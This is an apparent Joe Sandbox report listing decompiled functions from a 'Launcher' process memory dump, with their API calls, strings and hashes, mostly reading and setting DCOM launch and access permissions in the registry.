Instruction ID: c032b1bfd084ff09550b32319e7a64825ec515d5a7337401770c3d0983c9f7a8
Opcode Fuzzy Hash: 241e9912000c8e011df10f82ae8bfc15c986a488868ccb6704ae0e7aca5f6f3c
Instruction Fuzzy Hash: 06F0A03764013ABBDB311A999C44F66BFA9FB407B5F118162FE489B150DB76DC1086E0

Function 00B6FAC0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001FA70), ref: 00B6FAC5

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f4d85649c41235dbcb5c794eecf2cfa2867b3b512703921a2210e9c535304dc8
Instruction ID: 8aa922d6bc25ba12843f4595517eba242a5d675c1f13cdf7ff5537778191057f
Opcode Fuzzy Hash: f4d85649c41235dbcb5c794eecf2cfa2867b3b512703921a2210e9c535304dc8
Instruction Fuzzy Hash: 109002A8291105464A0067B46C0981529E05A5871378258A0A04AD6864EF5540C05511

Function 00B690DA Relevance: 1.5, APIs: 1, Instructions: 3clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 00B690DD

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ClipboardOpen
String ID:
API String ID: 2793039342-0
Opcode ID: 26b901727a1aebd3fd4cf67b34031ca3a598fedef88e1c7b9f21e58249c9b245
Instruction ID: 72a5c10138d1aadc9267088a723b8506306f9cb3af909c7106aee882f34cb3ca
Opcode Fuzzy Hash: 26b901727a1aebd3fd4cf67b34031ca3a598fedef88e1c7b9f21e58249c9b245
Instruction Fuzzy Hash: B3900271410040CBCE055B10ED084047B31FB453073200194D0694E0319B225862DA00

Function 00B6C0BC Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 318windowregistryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B6C0C6
#540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
RegOpenKeyExW.ADVAPI32 ref: 00B6C112
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
RegCloseKey.ADVAPI32(?), ref: 00B6C151
#800.MFC42U ref: 00B6C15F
malloc.MSVCRT ref: 00B6C174
RegCloseKey.ADVAPI32(?), ref: 00B6C18D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C1B4
RegCloseKey.ADVAPI32(?), ref: 00B6C1C2
free.MSVCRT ref: 00B6C1CD
GetSecurityDescriptorDacl.ADVAPI32(00000000,?,?,?), ref: 00B6C1EC
GetLastError.KERNEL32 ref: 00B6C1F6
#2810.MFC42U(?,Everyone), ref: 00B6C21C
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B6C250
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00B6C283
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 00B6C29A
SendMessageW.USER32(?,0000104C,00000000,?), ref: 00B6C2CA
free.MSVCRT ref: 00B6C2D1
GetAce.ADVAPI32(00000000,00000000,?), ref: 00B6C2EB
LookupAccountSidW.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00B6C350
#2810.MFC42U(?,%s\%s,?,?), ref: 00B6C374
#2810.MFC42U(?,?? Unknown Account ??), ref: 00B6C38A
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B6C3BE
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00B6C3F5
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 00B6C40C
LookupAccountSidW.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00B6C47D
#2810.MFC42U(?,%s\%s,?,?), ref: 00B6C4A1
#2810.MFC42U(?,?? Unknown Account ??), ref: 00B6C4B7
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B6C4EB
SendMessageW.USER32(?,0000104D,00000000,?), ref: 00B6C522
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 00B6C539
SendMessageW.USER32(?,0000104C,00000000,?), ref: 00B6C569
#3993.MFC42U(00000001,00000000,?? Unknown ACE ??,00000000,00000000,00000000,00000000), ref: 00B6C57F
GetAce.ADVAPI32(00000000,00000001,?,00000001,00000000,?? Unknown ACE ??,00000000,00000000,00000000,00000000), ref: 00B6C593
GetLastError.KERNEL32 ref: 00B6C5AC

Strings

Yes, xrefs: 00B6C2C0, 00B6C42C
%s\%s, xrefs: 00B6C36E, 00B6C49B
Everyone, xrefs: 00B6C216
?? Unknown ACE ??, xrefs: 00B6C575
?? Unknown Account ??, xrefs: 00B6C384, 00B6C4B1

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2810$Close$AccountErrorLastLookupQueryValuefree$#3993#540#800DaclDescriptorH_prolog3_OpenSecuritymalloc
String ID: %s\%s$?? Unknown ACE ??$?? Unknown Account ??$Everyone$Yes
API String ID: 47226287-2762826609
Opcode ID: b4b585494e5d23e17214838290e672e0e85b7cea4e71039139318e9a0271262f
Instruction ID: ff1a896f5a4cdefd969e6928170b194b8f27323a6ebbc010213e57e6e880c769
Opcode Fuzzy Hash: b4b585494e5d23e17214838290e672e0e85b7cea4e71039139318e9a0271262f
Instruction Fuzzy Hash: B1D1DCF190022C9FDB218F50DC84AEAB7FCEB48315F5045EAE649A3191DB749EC49F68

Function 00B61870 Relevance: 66.8, APIs: 35, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00B61877
#540.MFC42U(00000058,00B5B66A), ref: 00B61884
#540.MFC42U(00000058,00B5B66A), ref: 00B61891
#540.MFC42U(00000058,00B5B66A), ref: 00B6189F
#4155.MFC42U(00000004,00000058,00B5B66A), ref: 00B618AD
#4155.MFC42U(00000005,00000004,00000058,00B5B66A), ref: 00B618B7
#3517.MFC42U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B521A0,00000005), ref: 00B618DE
#858.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B521A0), ref: 00B618EB
#800.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B521A0), ref: 00B618F7
#2910.MFC42U(000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B61910

Part of subcall function 00B6DB5F: isspace.MSVCRT ref: 00B6DB7C

Part of subcall function 00B6DB5F: isxdigit.MSVCRT ref: 00B6DBF6
Part of subcall function 00B6DB5F: isspace.MSVCRT ref: 00B6DC2E
Part of subcall function 00B6DB5F: isspace.MSVCRT ref: 00B6DC49

Part of subcall function 00B6DB5F: isdigit.MSVCRT ref: 00B6DBCD
Part of subcall function 00B6DB5F: isdigit.MSVCRT ref: 00B6DC1A

Part of subcall function 00B6DB5F: toupper.MSVCRT ref: 00B6DBE3

#5906.MFC42U(00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61A67
#6205.MFC42U(?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61A80
#6205.MFC42U(?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61A92
#6191.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61A9D
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61AA7
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61AAF
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00B61AB7
#1258.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B521A0), ref: 00B61B1E
__EH_prolog3_GS.LIBCMT ref: 00B61B2B
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B61B35
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B61B41
#4155.MFC42U(00000004,00000044,00000000,?,?), ref: 00B61B4F
#4155.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00B61B59
#540.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00B61B61
#3865.MFC42U(?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B77
#2970.MFC42U(00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B8C
#2910.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B99
#3792.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61BA6
#3792.MFC42U(00000000,000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61BB8
wsprintfW.USER32 ref: 00B61BE8
#5568.MFC42U(000000FF), ref: 00B61BF6
#6399.MFC42U(?,?,?,000000FF), ref: 00B61C09
#800.MFC42U(?,?,?,000000FF), ref: 00B61C11
#800.MFC42U(?,?,?,000000FF), ref: 00B61C19
#800.MFC42U(?,?,?,000000FF), ref: 00B61C21

Strings

,, xrefs: 00B618C7
%d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, xrefs: 00B61BE2
,, xrefs: 00B61B70

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#540$#4155$isspace$#2910#3792#6205isdigit$#1258#2970#3517#3865#5568#5906#6191#6399#858H_prolog3_H_prolog3_catch_isxdigittoupperwsprintf
String ID: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d$,$,
API String ID: 708604890-3364495680
Opcode ID: 0e6841191a31a923e004b5f4a1e5096f92d3fbe021428eebe4b9df5a61f02369
Instruction ID: 867fa59f7bc948d0c8597755c357a7ca86cd297b31a29792a2abd08dc8489ef4
Opcode Fuzzy Hash: 0e6841191a31a923e004b5f4a1e5096f92d3fbe021428eebe4b9df5a61f02369
Instruction Fuzzy Hash: 3FA10B71E0010CEACF11EFE4C986ADDFBF9EF18300F5845A6E115A7181EB796A4ACB50

Function 00B604B0 Relevance: 57.9, APIs: 25, Strings: 8, Instructions: 191registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B604BA

Part of subcall function 00B6D0B6: StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 00B6D152
Part of subcall function 00B6D0B6: lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00B6D163
Part of subcall function 00B6D0B6: wsprintfW.USER32 ref: 00B6D179
Part of subcall function 00B6D0B6: RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 00B6D1AA
Part of subcall function 00B6D0B6: RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 00B6D25C
Part of subcall function 00B6D0B6: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6D270
Part of subcall function 00B6D0B6: wsprintfW.USER32 ref: 00B6D286

LoadCursorW.USER32(00000000,00007F02), ref: 00B604E6
SetCursor.USER32(00000000), ref: 00B604ED

Part of subcall function 00B6DE06: malloc.MSVCRT ref: 00B6DE1E

#538.MFC42U(new CSecurityDescriptor failed.), ref: 00B60528
#800.MFC42U(?,00000000,MakeSelfRelativeSD failed), ref: 00B60754

Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE45
Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE55
Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE6D

#538.MFC42U(00000000,00000000), ref: 00B60575
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?,Interactive,00000001,Administrators,00000001,System,00000001,00000000), ref: 00B605BC
malloc.MSVCRT ref: 00B605C8
#538.MFC42U(00000000), ref: 00B605F5
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?), ref: 00B60610
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,000F003F,?), ref: 00B60659
GetSecurityDescriptorLength.ADVAPI32(?), ref: 00B60666
RegSetValueExW.ADVAPI32(?,LaunchPermission,00000000,00000003,?,00000000), ref: 00B6067C
RegCloseKey.ADVAPI32(?), ref: 00B60688
free.MSVCRT ref: 00B6068F
#2634.MFC42U(00000001), ref: 00B606B9
#2634.MFC42U(00000001,00000001), ref: 00B606C6
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B606D9
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B606E9
#5977.MFC42U ref: 00B606F2
LoadCursorW.USER32(00000000,00007F00), ref: 00B606FD
SetCursor.USER32(00000000), ref: 00B60704

Strings

psdSelfRelative malloc failed., xrefs: 00B605EE
LaunchPermission, xrefs: 00B60671
System, xrefs: 00B60586
MakeSelfRelativeSD failed, xrefs: 00B6072A
CSecurityDescriptor::Initialize failed., xrefs: 00B6056E
new CSecurityDescriptor failed., xrefs: 00B6051D
Interactive, xrefs: 00B605A0
Administrators, xrefs: 00B60592

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Cursorfree$#538$#2634CloseLoadMakeMessageOpenRelativeSelfSendmallocwsprintf$#5977#800DescriptorEnumFromH_prolog3_LengthSecurityStringValuelstrcpy
String ID: Administrators$CSecurityDescriptor::Initialize failed.$Interactive$LaunchPermission$MakeSelfRelativeSD failed$System$new CSecurityDescriptor failed.$psdSelfRelative malloc failed.
API String ID: 3894545846-2955734171
Opcode ID: ead243c66b76aeddbf77e87b1d7f11bc940c7779ed28e663890950253c57c38e
Instruction ID: 5105370e9cc26eda45a25f721141befb5135c512fd6e2df2e1dfee66a73d66f6
Opcode Fuzzy Hash: ead243c66b76aeddbf77e87b1d7f11bc940c7779ed28e663890950253c57c38e
Instruction Fuzzy Hash: 8C616171940215ABDB24BB60DC9AFEE7AF4EF55701F0004E8F90AAB191DF785E858F60

Function 00B6B8D5 Relevance: 54.5, APIs: 22, Strings: 9, Instructions: 250registryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6B8DC
LoadCursorW.USER32(00000000,00007F02), ref: 00B6B8F4
SetCursor.USER32(00000000), ref: 00B6B8FB
RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 00B6B911
LoadCursorW.USER32(00000000,00007F00), ref: 00B6B924
SetCursor.USER32(00000000), ref: 00B6B92B
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6B94C
RegCloseKey.ADVAPI32(?), ref: 00B6BAA4

Strings

LaunchPermission, xrefs: 00B6BA17
System, xrefs: 00B6B9FD
AccessPermission, xrefs: 00B6BA51
DefaultLaunchPermission, xrefs: 00B6BA07
CSecurityDescriptor::Initialize failed., xrefs: 00B6B9E3
DefaultAccessPermission, xrefs: 00B6BA41
new CSecurityDescriptor failed., xrefs: 00B6B998
Interactive, xrefs: 00B6BA35
Administrators, xrefs: 00B6BA28

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Cursor$Load$CloseH_prolog3OpenQueryValue
String ID: AccessPermission$Administrators$CSecurityDescriptor::Initialize failed.$DefaultAccessPermission$DefaultLaunchPermission$Interactive$LaunchPermission$System$new CSecurityDescriptor failed.
API String ID: 2619828013-2246421441
Opcode ID: 70617403299387715422338090e0200f3063800eda078fdad21c42b10a527e33
Instruction ID: 62844ae477ef1c5e1d00ee11f594a3a0778291a13a7978c365ebd61c2cb11c15
Opcode Fuzzy Hash: 70617403299387715422338090e0200f3063800eda078fdad21c42b10a527e33
Instruction Fuzzy Hash: 07913F71A002169BDF159FA0DC85EBE7BF5EF48712F1404A9F906E71A1DB389D80DB60

Function 00B5FE60 Relevance: 49.3, APIs: 17, Strings: 11, Instructions: 285windowregistrystringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5FE6A
#6330.MFC42U(00000001,00000408), ref: 00B5FE73
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00B5FF2B
SendMessageW.USER32(?,00000148,00000000,?), ref: 00B5FF44
lstrcmpW.KERNEL32(?,None), ref: 00B5FF56
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 00B5FFC4
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B6000B
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00B60067
SendMessageW.USER32(?,00000148,00000000,?), ref: 00B60080
lstrcmpW.KERNEL32(?,None), ref: 00B60092
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 00B60111
#4118.MFC42U ref: 00B6011D
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B60135
#540.MFC42U(?,?,00B521A0,DllSurrogate), ref: 00B60192
#3871.MFC42U(?), ref: 00B601A8
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 00B601F7
#800.MFC42U(?,TreatAs,?,?), ref: 00B60203

Strings

ThreadingModel, xrefs: 00B5FF63, 00B5FF87, 00B6009F, 00B600D7
LocalService, xrefs: 00B5FEB4, 00B5FED5, 00B5FEE6
LocalServer32, xrefs: 00B5FFE4, 00B5FFF2
DllSurrogate, xrefs: 00B6015A, 00B60174
msjava.dll, xrefs: 00B6001A
JavaClass, xrefs: 00B60040
InProcServer32, xrefs: 00B60024, 00B60045, 00B600A4, 00B600DC, 00B600F8
InProcHandler32, xrefs: 00B5FF09, 00B5FF68, 00B5FF8C, 00B5FFAB
None, xrefs: 00B5FF4A, 00B60086
TreatAs, xrefs: 00B601C2, 00B601DE
ServiceParameters, xrefs: 00B5FED0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$Delete$lstrcmp$#3871#4118#540#6330#800H_prolog3_
String ID: DllSurrogate$InProcHandler32$InProcServer32$JavaClass$LocalServer32$LocalService$None$ServiceParameters$ThreadingModel$TreatAs$msjava.dll
API String ID: 3854995924-1653547741
Opcode ID: d91cd0edd2fdff8841351bcdb450026b70fef7be486ea566ad0419fec8a1a4d0
Instruction ID: 17622def401316920ed30bd53318550cff23cde60e8620b02e28a7daffc7eefa
Opcode Fuzzy Hash: d91cd0edd2fdff8841351bcdb450026b70fef7be486ea566ad0419fec8a1a4d0
Instruction Fuzzy Hash: 3A916031640605EAEB12FE248D87BB737E6EF02B01F4405E5BE046F1A6DBF56E488A51

Function 00B5E1A4 Relevance: 47.4, APIs: 22, Strings: 5, Instructions: 186windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6D4CD: GetVersionExW.KERNEL32(?), ref: 00B6D4F3

SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E1E5
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E1F9
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E219
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E242
#6211.MFC42U(00000005,?,?,?), ref: 00B5E259
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00B5E268
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E277
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E28E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E2A6
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E2BD
SendMessageW.USER32(?,0000133E,00000000,00000001), ref: 00B5E2DE
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E30F
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 00B5E326
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E345
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 00B5E35C
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E372
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 00B5E389
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E3A6
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 00B5E3BD
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B5E3D0
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 00B5E3EB
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?), ref: 00B5E3FE

Part of subcall function 00B5E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E482
Part of subcall function 00B5E466: #6211.MFC42U(00000005,?,?,?,?,?,00B5E130,?,?), ref: 00B5E49B
Part of subcall function 00B5E466: SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00B5E4AA
Part of subcall function 00B5E466: SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E4BE
Part of subcall function 00B5E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E4ED
Part of subcall function 00B5E466: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E504
Part of subcall function 00B5E466: SendMessageW.USER32(?,0000133E,00000000,?), ref: 00B5E528
Part of subcall function 00B5E466: SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B5E53B
Part of subcall function 00B5E466: SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 00B5E555
Part of subcall function 00B5E466: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,00B5E130,?,?), ref: 00B5E569
Part of subcall function 00B5E466: RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,00B5E130,?,?), ref: 00B5E578

Strings

Launch Permissions, xrefs: 00B5E33E
Registry, xrefs: 00B5E2CA
Access Permissions, xrefs: 00B5E308
Activation, xrefs: 00B5E36B
Implementation, xrefs: 00B5E39F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$RedrawWindow$#6211$Version
String ID: Access Permissions$Activation$Implementation$Launch Permissions$Registry
API String ID: 3082685337-2693731033
Opcode ID: bcc92a43b7c28ed8fadbe74c049e4324e11e08b161bdd645ec9b0a6453e18b65
Instruction ID: c5bea4cd677e2e2dda38ea6a1d04244fec04460898539f097e59863eff14df12
Opcode Fuzzy Hash: bcc92a43b7c28ed8fadbe74c049e4324e11e08b161bdd645ec9b0a6453e18b65
Instruction Fuzzy Hash: E2512130500645BEEB2A1B21DC4DFAB7AFDFB86B06F010498F96E921A0DF756D45CA60

Function 00B5C150 Relevance: 47.4, APIs: 22, Strings: 5, Instructions: 176registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5C15A

Part of subcall function 00B6D0B6: StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 00B6D152
Part of subcall function 00B6D0B6: lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00B6D163
Part of subcall function 00B6D0B6: wsprintfW.USER32 ref: 00B6D179
Part of subcall function 00B6D0B6: RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 00B6D1AA
Part of subcall function 00B6D0B6: RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 00B6D25C
Part of subcall function 00B6D0B6: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6D270
Part of subcall function 00B6D0B6: wsprintfW.USER32 ref: 00B6D286

LoadCursorW.USER32(00000000,00007F02), ref: 00B5C186
SetCursor.USER32(00000000), ref: 00B5C18D

Part of subcall function 00B6DE06: malloc.MSVCRT ref: 00B6DE1E

#538.MFC42U(new CSecurityDescriptor failed.), ref: 00B5C1C8
#800.MFC42U(?,00000008,00000000), ref: 00B5C1E8

Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE45
Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE55
Part of subcall function 00B6CDEB: free.MSVCRT ref: 00B6CE6D

#538.MFC42U(00000000,00000000), ref: 00B5C21A
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?,?,00000001,?,System,00000001,00000000), ref: 00B5C266
malloc.MSVCRT ref: 00B5C272
#538.MFC42U(00000000), ref: 00B5C29F
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?), ref: 00B5C2CE
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,000F003F,?), ref: 00B5C313
GetSecurityDescriptorLength.ADVAPI32(?), ref: 00B5C320
RegSetValueExW.ADVAPI32(?,AccessPermission,00000000,00000003,?,00000000), ref: 00B5C336
RegCloseKey.ADVAPI32(?), ref: 00B5C342
free.MSVCRT ref: 00B5C349
#2634.MFC42U(00000001), ref: 00B5C373
#2634.MFC42U(00000001,00000001), ref: 00B5C380
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5C393
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5C3A3
#5977.MFC42U ref: 00B5C3AC
LoadCursorW.USER32(00000000,00007F00), ref: 00B5C3B7
SetCursor.USER32(00000000), ref: 00B5C3BE

Strings

psdSelfRelative malloc failed., xrefs: 00B5C298
System, xrefs: 00B5C22B
AccessPermission, xrefs: 00B5C32B
CSecurityDescriptor::Initialize failed., xrefs: 00B5C213
new CSecurityDescriptor failed., xrefs: 00B5C1BD

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

